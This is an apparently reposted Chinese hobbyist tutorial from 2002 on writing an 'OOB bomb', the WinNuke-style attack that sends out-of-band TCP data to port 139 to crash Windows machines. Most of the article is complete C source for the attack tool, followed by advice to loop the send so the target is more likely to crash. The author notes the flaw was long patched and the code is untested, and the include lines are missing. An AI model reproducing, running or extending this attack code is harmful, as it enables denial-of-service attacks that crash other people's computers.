网络通信 频道

linux下 OOB 炸弹的制作

环境:Redhat 7.2 + gcc
  前言:
  本文章只是为了给广大和我一样的菜鸟一个指引。如果你是高手,或对编程毫无兴趣。建议请不要在此浪费时间。
  记得还是在上高中时,第一次接触了winnuck蓝屏炸弹。那时感觉非常神秘。后来才知道原来那时所谓的蓝屏炸弹就是 OOB 炸弹。
   首先让我们了解一下什么是 OOB 炸弹。OOB 炸弹,顾名思义就是向对方发送一个 OOB 消息,由于操作系统漏洞的缘故而造成异常错误(通常表现就是蓝屏,顾得名蓝屏炸弹)。当然这里的操作系统特指windows。
  下面就结合实力给大家介绍一个 OOB 炸弹的编制方法。下面这个程序我没有进行测试,原因有很多。主要是没有条件。我也不保证这是一个能用的版本,因为据我了解,MS早已经对这个漏洞进行了修复。今天的这个文章全当是纪念吧!让大家了解一下,原来炸弹不过如此(话虽然这么说但是能写出好炸弹的还是高人,比如最近闹得沸沸扬扬的SYN Flood)。
  /*------------------------------oob_bomb.c-----------------------------------*/
  /*gcc -O -o tcpscan scan.c*/
  /* oob bomb */
  /* mikespook I.D.K */
  /* 2002.5.21 */
  #include
  #include
  #include
  #include
  #include
  
  /* 这个函数是用来检查输入的参数是IP地址还是主机名 */
  int correcthost(const char *host, struct sockaddr_in * sock);
  
  main(int argc, int *argv[])
  {
  /* 所要攻击的端口,一般 OOB 炸弹默认的是139端口 */
  int n_port;
  /* socket套接字 */
  int sock_id;
  /* 返回错误码 */
  int rtn_err;
  /* socket结构,建立连接、发送消息全靠它了 */
  struct sockaddr_in remote_sock;
  /* 消息 */
  char *pc_msg;
  /* 处理命令行参数 */
  if(argc != 4){
   if(argc != 3){
   if(argc !=2){
   printf("Usage: oob_bomb [port] [message]\n");
   printf("Writen by mikespook\n");
   printf("mikespook@hotmail.com\tWith subject: report for bomb\n");
   exit(0);
   }else
   /* 如果没有输入端口号就用默认的139端口 */
   remote_sock.sin_port = htons(139);
   }else
   /* 否则使用输入的端口 */
   remote_sock.sin_port = htons(atoi(argv[2]));
   pc_msg = ":-)";
  }else{
   remote_sock.sin_port = htons(atoi(argv[2]));
   pc_msg =(char *)argv[3];
  }
  
  rtn_err = correcthost((char *)argv[1], (struct sockaddr_in *)&remote_sock);
  if(rtn_err != 0)
   exit(1);
  
  remote_sock.sin_family = AF_INET;
  /* 建立一个socket套接口 */
  sock_id = socket(AF_INET, SOCK_STREAM, 0);
  if(sock_id < 0){
   perror("\nsocket");
   exit(2);
  }
  /* 当然要连接上才能继续了 */
  rtn_err = connect(sock_id, (struct sockaddr *)&remote_sock, sizeof(remote_sock));
  if(rtn_err < 0){
   perror("\nconnect");
   exit(3);
  }
  /* 呵呵,送一个MSG_OOB消息,"Bomb..." */
  rtn_err = send(sock_id, pc_msg, strlen(pc_msg), MSG_OOB);
  if(rtn_err == -1){
   perror("\nsend");
   exit(4);
  }
  
  printf("OOB_Bomb Success!\n");
  close(sock_id);
  exit(0);
  }
  /* 这个函数我在上次的tcp connect扫描器的制作中有介绍,不多说了 */
  int correcthost(const char *host, struct sockaddr_in *sock)
  {
  struct hostent *struct_host;
  if(isdigit(*host))
   sock->sin_addr.s_addr = inet_addr(host);
  else{
   struct_host = gethostbyname(host);
   if(struct_host != NULL)
   bcopy(struct_host->h_addr, (char *)&sock->sin_addr, struct_host->h_length);
   else{
   printf("Get error with host name.\n");
   return -1;
   }
  }
  return 0;
  }
  
  -------------------------------------------------------------------------------
  最后补充一下,在发送MSG_OOB消息的时候一般的 OOB 炸弹会做一个循环,大量的发送 MSG_OOB 消息,以增加对方当机的可能性。原理我已经说了,改进就由你完成了。:)
  由于我是菜鸟,或许有什么不对的地方。也可能一些细节我没有考虑到。如果你知道的话希望不惜指教。小弟感激不尽!!
  
  

文章转载地址:http://www.cnpaf.net/Class/hack/06101110491527842465.html

0
相关文章